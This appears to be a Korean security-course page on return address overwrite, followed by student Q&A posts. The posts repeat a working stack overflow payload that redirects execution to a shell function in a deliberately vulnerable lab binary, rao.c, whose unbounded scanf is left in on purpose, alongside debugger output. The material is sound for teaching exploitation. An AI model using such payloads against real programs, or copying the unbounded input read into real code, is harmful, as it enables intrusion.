Return address overwrite는 스택 프레임의 반환 주소를 조작함으로써 프로세스의 실행 흐름을 바꾸는 공격 기법입니다.
이번 강의에서는 해당 공격의 원리를 살펴보고, 이를 직접 수행하는 실습을 할 것입니다.
Description
Objectives
Return address overwrite 공격의 원리와 발생할 수 있는 피해를 이해하고, 간단한 예제에 대해 이를 수행할 수 있다.
Questions related to this course.
17 questions
Python의 출력이 파이프가 왜 안될까요?
```
$ (python3 -c "print(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\xdd\x11@\x00\x00\x00\x00\x00'
```
위처럼 파이썬 출력은 정상적으로 되는것 같은데 저 출력을 파이프하려고 하면 다음과 같이 됩니다.
```
(python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao
Input:
```
여전히 input을 받으려 하는거면 파이프가 안되고 있는 것 같은데 왜 그럴까요?
python -c 으로 payload 전달방법
강의 내용중에 python -c 명령어로 쉘을 획득하는 명령어가 나오는데 동작이 안되서 여쭤봅니다.
유효한 명령어인가요? 아래 명령어 그대로 해서 되는 분 계신가요?
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
nearpc명령어 질문 2
https://dreamhack.io/forum/qna/3781
이전질문입니다.
pwndbg> nearpc main
► 0x40121f <main> endbr64
0x401223 <main+4> push rbp
0x401224 <main+5> mov rbp, rsp
0x401227 <main+8> sub rsp, 0x30
0x40122b <main+12> mov eax, 0
0x401230 <main+17> call init <init>
0x401235 <main+22> lea rax, [rip + 0xdd0]
0x40123c <main+29> mov rdi, rax
0x40123f <main+32> mov eax, 0
0x401244 <main+37> call printf@plt <printf@plt>
0x401249 <main+42> lea rax, [rbp - 0x30]
이렇게 scanf가 안나오는데 어떻게 해야하는지 아시나요?
___________________________________________________________________
pwndbg> disassemble main
Dump of assembler code for function main:
0x000000000040121f <+0>: endbr64
0x0000000000401223 <+4>: push rbp
0x0000000000401224 <+5>: mov rbp,rsp
0x0000000000401227 <+8>: sub rsp,0x30
0x000000000040122b <+12>: mov eax,0x0
0x0000000000401230 <+17>: call 0x401196 <init>
0x0000000000401235 <+22>: lea rax,[rip+0xdd0] # 0x40200c
0x000000000040123c <+29>: mov rdi,rax
0x000000000040123f <+32>: mov eax,0x0
0x0000000000401244 <+37>: call 0x401070 <printf@plt>
0x0000000000401249 <+42>: lea rax,[rbp-0x30]
0x000000000040124d <+46>: mov rsi,rax
0x0000000000401250 <+49>: lea rax,[rip+0xdbd] # 0x402014
0x0000000000401257 <+56>: mov rdi,rax
0x000000000040125a <+59>: mov eax,0x0
0x000000000040125f <+64>: call 0x4010a0 <__isoc99_scanf@plt>
0x0000000000401264 <+69>: mov eax,0x0
0x0000000000401269 <+74>: leave
=> 0x000000000040126a <+75>: ret
End of assembler dump.
pwndbg> x/s 0x4010a0
0x4010a0 <__isoc99_scanf@plt>: "\363\017\036\372\362\377%\205/"
pwndbg> x/s 0x40125f
0x40125f <main+64>: "\350<\376\377\377\270
________________________________________________________________________
이렇게 나오는데 뭐가 문제인지 모르겠네요
exploit 질문
(python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat) | ./rao
입력 이후에
id
uid가 rao가 아닌 제 uid로 나오는데 뭐가 문제일까요?
스택 프레임 구조파악 nearpc 명령어
pwndbg> nearpc
0x400706 call printf@plt
0x40070b lea rax, [rbp - 0x30]
0x40070f mov rsi, rax
0x400712 lea rdi, [rip + 0xab]
0x400719 mov eax, 0
► 0x40071e call __isoc99_scanf@plt <__isoc99_scanf @plt>
format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4: "%s"
이렇게 나와야 하는데
--------------------------------------------------------------------------
wndbg> nearpc
► 0x40126a <main+75> ret <0x4141414141414141>
0x40126b add bl, dh
저는 이렇게 나오는데 뭐가 문제인지 알 수 있을까요?
----------------------------------------------------
core dumped 파일 미 생성

1. ulimit -c unlimited 명령어 설정을 해줘도 core dumped 파일이 생성되지 않습니다.
2. (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao 명령어를 실행해도 Input : 만 나옵니다.
exploit 질문
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao를 입력했는데 왜 아래처럼 오류가 뜰까요..?
Input: Traceback (most recent call last):
File "<string>", line 1, in <module>
AttributeError: 'file' object has no attribute 'buffer'
rao.c에서 buf의 크기와 어셈블리에서 buf의 크기가 다른 이유
rao.c에서 buf의 크기는 0x28입니다. 이것을 컴파일한 후 gdb를 통해 disassemble 해서 생성된 어셈블리를 보면 크기가 0x30입니다.
차이가 나는 이유는 무엇일까요?
밑에서 같은 내용의 질문을 확인했는데 '설정한 크기에 추가적인 크기의 버퍼를 할당하는 경우가 있다라고 했고, 이것을 막기 위해 setvbuf 함수를 사용하지만, 문제에서는 변수를 선언한 후에 setvbuf를 사용해서? 버퍼의 크기가 고정되지 않은 것 같다라고 했습니다. 잘 이해가 안돼서 이 답변이 맞다면 추가적으로 설명 부탁드리고, 아니라면 답변 부탁드립니다!
패치 퀴즈 질문
main함수에서 char buf[0x28]만큼 크기를 지정해주고 printf("Input: ") 다음 입력을 해줄 때 scanf("%39s")가 될 수 있다는 것은 알겠는데 fgets(buf, 0x28, stdout)에서 0x28 40바이트만큼 넣어주면 len<=size 만큼 만족하는 거니까 이 문항도 답이 되는 것 아닌가요..? ㅠㅠ
dump core에러가납니다..
./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
gdb -c core하면 자꾸 /home/(사용자이름)/core: No such file or directory. 이렇게 뜨네요
ulimit -c unlimited해도 마찬가지입니다.
ulimit -a g하면 이렇게 나옵니다
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 7606
max locked memory (kbytes, -l) 65536
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 7606
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
Dump core 에러
현재 sudo vi /etc/sysctl.conf 와 ulimit -c unlimited 을 이미 입력했는데, 여전히 core dumped 이후에 core file이 directory에 나타나지 않습니다. 이하는 실행 결과를 일부분 생략하고 그대로 옮겨 적은 것입니다.
$ ./rao
(...)
Segmentation fault (core dumped)
$ gdb -c core
GNU gdb (Ubuntu 12.0.90-0ubuntu1) 12.0.90
(...)
pwndbg: loaded 199 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
/home/(username)/core: No such file or directory.
pwndbg: tip of the day: (...)
pwndbg>
아무리 다른 해결방법을 찾아서 적용해봐도 directory에서 찾을 수 없다는 결과 외에는 얻을 수 없었습니다. 어떻게 하면 될까요?
gdb 중 에러(dump core)
처음에 ulimit -c unlimited를 했을 때 core file이 안 나와서 포럼과 구글링을 통해서 core file을 생성을 했습니다.
dump core 생성은
sudo vi /etc/sysctl.conf
해당 주석 밑에 내용 추가합니다.
#kernel.domainname = example.com
kernel.core_patttern = core.%e.%p
설정 적용한다.
sudo sysctl -p
그런데 이제 gdb - c core를 했는데 아래와 같이 에러가 발생하고 명령어가 잘 작동이 안 해서 구글링하다가 답을 못 찾아서 질문 남겨봅니다.
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
....
#0 0x4141414141414141 in ?? ()
Exception occurred: Error: maximum recursion depth exceeded in comparison (<class 'RecursionError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
Python Exception <class 'RecursionError'> maximum recursion depth exceeded in comparison:
아시는 분은 댓글 부탁드립니다.
반환 주소가 rbp+0x8인 이유가 있나요?
rbp가 SFP인 것까지는 알겠는데 반환 주소가 0x8인 이유가 궁금합니다 SYSV 설명을 봐도 이 부분은 설명이 없는 것 같아서요...
질문
```
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x30
0x00000000004006f0 <+8>: mov eax,0x0
0x00000000004006f5 <+13>: call 0x400667 <init>
0x00000000004006fa <+18>: lea rdi,[rip+0xbb] # 0x4007bc
0x0000000000400701 <+25>: mov eax,0x0
0x0000000000400706 <+30>: call 0x400540 <printf@plt>
0x000000000040070b <+35>: lea rax,[rbp-0x30]
0x000000000040070f <+39>: mov rsi,rax
0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4
0x0000000000400719 <+49>: mov eax,0x0
=> 0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt>
```
여기서 scanf 인자주는부분
```
0x000000000040070b <+35>: lea rax,[rbp-0x30]
```
요 버퍼 크기 [rbp-0x30]는 처음에 늘려준
```
0x00000000004006ec <+4>: sub rsp,0x30
```
여기부분을 가르키는건가요 아니면
call한후 그쪽 스택프레임에서 [rbp-0x30]을 가르키는건가요
[rao 익스플로잇 질문]
밑에 있는 rao.c를 컴파일한 rao를 대상으로 return address overwrite공격을 하려는데요.
```
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
```
gdb로 보면 다음과 같이 buf가 rbp-0x30부터 시작됩니다.
```
► 0x401246 <main+39> lea rax, [rbp - 0x30]
0x40124a <main+43> mov rsi, rax
0x40124d <main+46> lea rdi, [rip + 0xdc0]
0x401254 <main+53> mov eax, 0
0x401259 <main+58> call __isoc99_scanf@plt <__isoc99_scanf@plt>
```
강의 자료처럼 0x38만큼은 아무 데이터로 채우고 나머지 길이 0x8인 return address를 get_shell()이 있는 주소로 옮겨서 쉘을 실행시키는게 목적입니다.

```
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4011dd <get_shell>
```
보시다시피 get_shell함수의 주소는 0x4011dd입니다. (강의 자료는 0x4005a7이던데 다를 수가 있나요..?)
그래서 리턴 어드레스 부분은 “\xdd\x11\x40\x00\x00\x00\x00\x00"로 작성할 수 있었습니다.
```(python3 -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao```
최종적으로 터미널에 입력한 명령은 이것인데요. 이거를 입력하면 쉘을 딸 수 있기를 기대했습니다.
```vm:~/바탕화면/dreamhack$ (python3 -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao
Input:
세그멘테이션 오류 (코어 덤프됨)
```
그런데 세그멘테이션 오류가 뜨더군요.
그래서 코어 파일을 봤습니다.
```
pwndbg> x/5gx $rsp
0x7ffd73895a70: 0x0000000000000000 0x00007ffd73895b58
0x7ffd73895a80: 0x00000001b7ef1618 0x000000000040121f
0x7ffd73895a90: 0x0000000000401270
Exception occurred: Error: maximum recursion depth exceeded in comparison (<class 'RecursionError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
Python Exception <class 'RecursionError'> maximum recursion depth exceeded in comparison:
pwndbg> print $rip
$1 = (void (*)()) 0x40119dc3
```
보니깐 제 생각에 main함수에서 return을 했고 rip가 제가 원하는 0x4011dd을 저장해야 될 것 같습니다.
그런데 현재 rip는 0x40119dc을 저장하고 있더군요.
4011부분은 맞는데 dd가 아닌 9dc3이 어떻게 나왔는지 모르겠습니다 ㅠㅠ
도움 부탁드립니다..
익스플로잇 질문
엔디언을 적용한 페이로드 작성에서 아래와 같은 코드를 사용하였습니다.
이때 get_shell address 뒤에 왜 cat명령어를 붙여주나요?
cat 명령어를 빼고 실행하면 셸을 얻고 바로 종료되는거 같네요..
```
(python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao
```
그리고, rao.c에서 char buf[0x28] 만큼 할당했는데 scanf의 buf에서는 [0x30]만큼의 메모리를 할당하나요?
core dump 생성
ulimit -c -unlimited로 코어 파일 사이즈를 unlimited로 바꾸어도 코어덤프가 생성되지 않습니다. 이럴 때는 어떻게 해결해야 하나요?
Roadmap with this course

Recommend for you
Related courses

Exploit Tech: Return Address Overwrite

Free
Detail
2 hours read
Easy
없음